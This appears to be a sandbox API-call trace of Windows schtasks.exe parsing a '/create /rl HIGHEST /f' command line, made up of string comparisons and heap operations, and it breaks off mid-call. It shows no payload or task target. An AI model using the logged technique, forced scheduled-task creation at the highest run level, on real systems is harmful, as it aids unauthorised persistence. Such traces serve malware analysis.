[0107.313] lstrlenW (lpString="|rl|") returned 4 [0107.313] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0107.313] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.313] lstrlenW (lpString="showsid") returned 7 [0107.313] lstrlenW (lpString="showsid") returned 7 [0107.313] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.313] lstrlenW (lpString="rl") returned 2 [0107.313] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.313] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0xa, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|showsid|") returned 9 [0107.313] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|rl|") returned 4 [0107.313] lstrlenW (lpString="|showsid|") returned 9 [0107.313] lstrlenW (lpString="|rl|") returned 4 [0107.313] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0107.313] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.313] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.313] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.313] lstrlenW (lpString="/rl") returned 3 [0107.313] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0107.313] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.313] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.313] lstrlenW (lpString="/rl") returned 3 [0107.313] GetProcessHeap () returned 0x277e2100000 [0107.313] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x8) returned 0x277e2103c70 [0107.313] GetProcessHeap () returned 0x277e2100000 [0107.313] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b2f0 [0107.313] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.314] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.314] lstrlenW (lpString="HIGHEST") returned 7 [0107.314] lstrlenW (lpString="-/") returned 2 [0107.314] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0107.314] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.314] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.314] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.314] lstrlenW (lpString="HIGHEST") returned 7 [0107.314] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0107.314] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.314] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.314] lstrlenW (lpString="HIGHEST") returned 7 [0107.314] GetProcessHeap () returned 0x277e2100000 [0107.314] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x10) returned 0x277e210a810 [0107.314] GetProcessHeap () returned 0x277e2100000 [0107.314] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b830 [0107.314] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.314] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.314] lstrlenW (lpString="/f") returned 2 [0107.314] lstrlenW (lpString="-/") returned 2 [0107.314] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0107.314] lstrlenW (lpString="?") returned 1 [0107.314] lstrlenW (lpString="?") returned 1 [0107.314] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.314] lstrlenW (lpString="f") returned 1 [0107.314] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.314] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|?|") returned 3 [0107.314] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|f|") returned 3 [0107.314] lstrlenW (lpString="|?|") returned 3 [0107.314] lstrlenW (lpString="|f|") returned 3 [0107.314] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0107.314] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.314] lstrlenW (lpString="create") returned 6 [0107.314] lstrlenW (lpString="create") returned 6 [0107.315] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.315] lstrlenW (lpString="f") returned 1 [0107.315] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.315] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|create|") returned 8 [0107.315] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|f|") returned 3 [0107.315] lstrlenW (lpString="|create|") returned 8 [0107.315] lstrlenW (lpString="|f|") returned 3 [0107.315] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0107.315] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.315] lstrlenW (lpString="delete") returned 6 [0107.315] lstrlenW (lpString="delete") returned 6 [0107.315] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.315] lstrlenW (lpString="f") returned 1 [0107.315] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.315] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|delete|") returned 8 [0107.315] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|f|") returned 3 [0107.315] lstrlenW (lpString="|delete|") returned 8 [0107.315] lstrlenW (lpString="|f|") returned 3 [0107.315] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0107.315] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.315] lstrlenW (lpString="query") returned 5 [0107.315] lstrlenW (lpString="query") returned 5 [0107.315] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.315] lstrlenW (lpString="f") returned 1 [0107.315] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.315] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x8, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|query|") returned 7 [0107.315] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|f|") returned 3 [0107.315] lstrlenW (lpString="|query|") returned 7 [0107.315] lstrlenW (lpString="|f|") returned 3 [0107.315] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0107.316] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.316] lstrlenW (lpString="change") returned 6 [0107.316] lstrlenW (lpString="change") returned 6 [0107.316] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.316] lstrlenW (lpString="f") returned 1 [0107.316] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.316] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|change|") returned 8 [0107.316] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|f|") returned 3 [0107.316] lstrlenW (lpString="|change|") returned 8 [0107.316] lstrlenW (lpString="|f|") returned 3 [0107.316] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0107.316] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.316] lstrlenW (lpString="run") returned 3 [0107.316] lstrlenW (lpString="run") returned 3 [0107.316] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.316] lstrlenW (lpString="f") returned 1 [0107.316] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.316] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|run|") returned 5 [0107.316] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|f|") returned 3 [0107.316] lstrlenW (lpString="|run|") returned 5 [0107.316] lstrlenW (lpString="|f|") returned 3 [0107.316] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0107.316] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.316] lstrlenW (lpString="end") returned 3 [0107.316] lstrlenW (lpString="end") returned 3 [0107.316] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.316] lstrlenW (lpString="f") returned 1 [0107.316] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.316] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|end|") returned 5 [0107.316] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|f|") returned 3 [0107.317] lstrlenW (lpString="|end|") returned 5 [0107.317] lstrlenW (lpString="|f|") returned 3 [0107.317] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0107.317] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.317] lstrlenW (lpString="showsid") returned 7 [0107.317] lstrlenW (lpString="showsid") returned 7 [0107.317] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.317] lstrlenW (lpString="f") returned 1 [0107.317] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.317] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0xa, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|showsid|") returned 9 [0107.317] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|f|") returned 3 [0107.317] lstrlenW (lpString="|showsid|") returned 9 [0107.317] lstrlenW (lpString="|f|") returned 3 [0107.317] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0107.317] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.317] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.317] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.317] lstrlenW (lpString="/f") returned 2 [0107.317] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0107.317] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.317] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.317] lstrlenW (lpString="/f") returned 2 [0107.317] GetProcessHeap () returned 0x277e2100000 [0107.317] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x6) returned 0x277e2103c90 [0107.317] GetProcessHeap () returned 0x277e2100000 [0107.317] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b4d0 [0107.317] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.317] GetProcessHeap () returned 0x277e2100000 [0107.317] GetProcessHeap () returned 0x277e2100000 [0107.317] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2103910) returned 1 [0107.317] GetProcessHeap () returned 0x277e2100000 [0107.317] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2103910) returned 0x8 [0107.318] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2103910) returned 1 [0107.318] GetProcessHeap () returned 0x277e2100000 [0107.318] GetProcessHeap () returned 0x277e2100000 [0107.318] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210ba40) returned 1 [0107.318] GetProcessHeap () returned 0x277e2100000 [0107.318] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210ba40) returned 0x20 [0107.318] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210ba40) returned 1 [0107.318] GetProcessHeap () returned 0x277e2100000 [0107.318] GetProcessHeap () returned 0x277e2100000 [0107.318] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a4b0) returned 1 [0107.318] GetProcessHeap () returned 0x277e2100000 [0107.318] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a4b0) returned 0xa [0107.318] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a4b0) returned 1 [0107.318] GetProcessHeap () returned 0x277e2100000 [0107.318] GetProcessHeap () returned 0x277e2100000 [0107.318] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b650) returned 1 [0107.318] GetProcessHeap () returned 0x277e2100000 [0107.319] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b650) returned 0x20 [0107.319] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b650) returned 1 [0107.319] GetProcessHeap () returned 0x277e2100000 [0107.319] GetProcessHeap () returned 0x277e2100000 [0107.319] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2103b70) returned 1 [0107.319] GetProcessHeap () returned 0x277e2100000 [0107.319] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2103b70) returned 0x8 [0107.319] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2103b70) returned 1 [0107.319] GetProcessHeap () returned 0x277e2100000 [0107.319] GetProcessHeap () returned 0x277e2100000 [0107.319] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b680) returned 1 [0107.319] GetProcessHeap () returned 0x277e2100000 [0107.319] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b680) returned 0x20 [0107.320] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b680) returned 1 [0107.320] GetProcessHeap () returned 0x277e2100000 [0107.320] GetProcessHeap () returned 0x277e2100000 [0107.320] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a6f0) returned 1 [0107.320] GetProcessHeap () returned 0x277e2100000 [0107.320] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a6f0) returned 0xe [0107.320] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a6f0) returned 1 [0107.320] GetProcessHeap () returned 0x277e2100000 [0107.320] GetProcessHeap () returned 0x277e2100000 [0107.320] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b380) returned 1 [0107.320] GetProcessHeap () returned 0x277e2100000 [0107.320] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b380) returned 0x20 [0107.320] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b380) returned 1 [0107.320] GetProcessHeap () returned 0x277e2100000 [0107.320] GetProcessHeap () returned 0x277e2100000 [0107.320] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2103b90) returned 1 [0107.320] GetProcessHeap () returned 0x277e2100000 [0107.320] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2103b90) returned 0x8 [0107.320] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2103b90) returned 1 [0107.320] GetProcessHeap () returned 0x277e2100000 [0107.320] GetProcessHeap () returned 0x277e2100000 [0107.320] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b920) returned 1 [0107.320] GetProcessHeap () returned 0x277e2100000 [0107.320] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b920) returned 0x20 [0107.321] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b920) returned 1 [0107.321] GetProcessHeap () returned 0x277e2100000 [0107.321] GetProcessHeap () returned 0x277e2100000 [0107.321] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2103bb0) returned 1 [0107.321] GetProcessHeap () returned 0x277e2100000 [0107.321] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2103bb0) returned 0x6 [0107.321] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2103bb0) returned 1 [0107.321] GetProcessHeap () returned 0x277e2100000 [0107.321] GetProcessHeap () returned 0x277e2100000 [0107.321] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b7d0) returned 1 [0107.321] GetProcessHeap () returned 0x277e2100000 [0107.321] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b7d0) returned 0x20 [0107.321] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b7d0) returned 1 [0107.321] GetProcessHeap () returned 0x277e2100000 [0107.321] GetProcessHeap () returned 0x277e2100000 [0107.322] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2103bd0) returned 1 [0107.322] GetProcessHeap () returned 0x277e2100000 [0107.322] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2103bd0) returned 0x8 [0107.322] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2103bd0) returned 1 [0107.322] GetProcessHeap () returned 0x277e2100000 [0107.322] GetProcessHeap () returned 0x277e2100000 [0107.322] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b500) returned 1 [0107.322] GetProcessHeap () returned 0x277e2100000 [0107.322] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b500) returned 0x20 [0107.322] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b500) returned 1 [0107.322] GetProcessHeap () returned 0x277e2100000 [0107.322] GetProcessHeap () returned 0x277e2100000 [0107.322] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210bcc0) returned 1 [0107.322] GetProcessHeap () returned 0x277e2100000 [0107.322] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210bcc0) returned 0x76 [0107.323] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210bcc0) returned 1 [0107.323] GetProcessHeap () returned 0x277e2100000 [0107.323] GetProcessHeap () returned 0x277e2100000 [0107.323] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b6b0) returned 1 [0107.323] GetProcessHeap () returned 0x277e2100000 [0107.323] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b6b0) returned 0x20 [0107.323] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b6b0) returned 1 [0107.323] GetProcessHeap () returned 0x277e2100000 [0107.323] GetProcessHeap () returned 0x277e2100000 [0107.323] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2103c70) returned 1 [0107.323] GetProcessHeap () returned 0x277e2100000 [0107.323] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2103c70) returned 0x8 [0107.323] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2103c70) returned 1 [0107.323] GetProcessHeap () returned 0x277e2100000 [0107.323] GetProcessHeap () returned 0x277e2100000 [0107.323] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b2f0) returned 1 [0107.323] GetProcessHeap () returned 0x277e2100000 [0107.323] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b2f0) returned 0x20 [0107.324] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b2f0) returned 1 [0107.324] GetProcessHeap () returned 0x277e2100000 [0107.324] GetProcessHeap () returned 0x277e2100000 [0107.324] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a810) returned 1 [0107.324] GetProcessHeap () returned 0x277e2100000 [0107.324] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a810) returned 0x10 [0107.324] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a810) returned 1 [0107.324] GetProcessHeap () returned 0x277e2100000 [0107.324] GetProcessHeap () returned 0x277e2100000 [0107.324] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b830) returned 1 [0107.324] GetProcessHeap () returned 0x277e2100000 [0107.324] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b830) returned 0x20 [0107.324] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b830) returned 1 [0107.386] GetProcessHeap () returned 0x277e2100000 [0107.386] GetProcessHeap () returned 0x277e2100000 [0107.386] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2103c90) returned 1 [0107.386] GetProcessHeap () returned 0x277e2100000 [0107.386] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2103c90) returned 0x6 [0107.388] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2103c90) returned 1 [0107.388] GetProcessHeap () returned 0x277e2100000 [0107.388] GetProcessHeap () returned 0x277e2100000 [0107.388] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b4d0) returned 1 [0107.388] GetProcessHeap () returned 0x277e2100000 [0107.388] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b4d0) returned 0x20 [0107.389] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b4d0) returned 1 [0107.389] GetProcessHeap () returned 0x277e2100000 [0107.389] GetProcessHeap () returned 0x277e2100000 [0107.389] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2104a60) returned 1 [0107.389] GetProcessHeap () returned 0x277e2100000 [0107.389] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2104a60) returned 0x18 [0107.389] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2104a60) returned 1 [0107.389] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.390] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0107.390] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0107.390] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0107.390] RtlVerifyVersionInfo (VersionInfo=0xd372b9c750, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0107.390] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.390] lstrlenW (lpString="create") returned 6 [0107.390] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0107.390] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.390] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.390] lstrlenW (lpString="create") returned 6 [0107.390] GetProcessHeap () returned 0x277e2100000 [0107.390] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b9b0 [0107.390] GetProcessHeap () returned 0x277e2100000 [0107.390] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x18) returned 0x277e210a7f0 [0107.390] _memicmp (_Buf1=0x277e210a7f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.390] GetProcessHeap () returned 0x277e2100000 [0107.390] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x16) returned 0x277e210a5d0 [0107.390] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.390] _memicmp (_Buf1=0x277e2104850, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.390] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x277e21096e0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0107.390] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xd372b9c8a8 | out: lpdwHandle=0xd372b9c8a8) returned 0x76c [0107.391] GetProcessHeap () returned 0x277e2100000 [0107.391] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x776) returned 0x277e210bcc0 [0107.391] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x277e210bcc0 | out: lpData=0x277e210bcc0) returned 1 [0107.391] VerQueryValueW (in: pBlock=0x277e210bcc0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xd372b9c840, puLen=0xd372b9c8a0 | out: lplpBuffer=0xd372b9c840*=0x277e210c070, puLen=0xd372b9c8a0) returned 1 [0107.391] _memicmp (_Buf1=0x277e2104850, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.391] _vsnwprintf (in: _Buffer=0x277e21096e0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xd372b9c818 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0107.391] VerQueryValueW (in: pBlock=0x277e210bcc0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xd372b9c830, puLen=0xd372b9c898 | out: lplpBuffer=0xd372b9c830*=0x277e210bea0, puLen=0xd372b9c898) returned 1 [0107.391] lstrlenW (lpString="schtasks.exe") returned 12 [0107.391] lstrlenW (lpString="schtasks.exe") returned 12 [0107.391] lstrlenW (lpString=".EXE") returned 4 [0107.391] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0107.391] lstrlenW (lpString="schtasks.exe") returned 12 [0107.391] lstrlenW (lpString=".EXE") returned 4 [0107.391] lstrlenW (lpString="schtasks") returned 8 [0107.391] lstrlenW (lpString="/create") returned 7 [0107.391] _memicmp (_Buf1=0x277e2104850, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.391] _vsnwprintf (in: _Buffer=0x277e21096e0, _BufferCount=0x19, _Format="%s %s", _ArgList=0xd372b9c818 | out: _Buffer="schtasks /create") returned 16 [0107.392] _memicmp (_Buf1=0x277e2102130, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.392] GetProcessHeap () returned 0x277e2100000 [0107.392] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b7d0 [0107.392] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.392] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0107.392] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0107.392] GetProcessHeap () returned 0x277e2100000 [0107.392] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x30) returned 0x277e2103c70 [0107.392] _vsnwprintf (in: _Buffer=0x277e2104290, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xd372b9c818 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0107.392] GetProcessHeap () returned 0x277e2100000 [0107.392] GetProcessHeap () returned 0x277e2100000 [0107.392] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210bcc0) returned 1 [0107.392] GetProcessHeap () returned 0x277e2100000 [0107.392] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210bcc0) returned 0x776 [0107.393] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210bcc0) returned 1 [0107.393] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.393] GetThreadLocale () returned 0x409 [0107.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.393] lstrlenW (lpString="create") returned 6 [0107.393] GetThreadLocale () returned 0x409 [0107.393] CompareStringA (Locale=0x409, 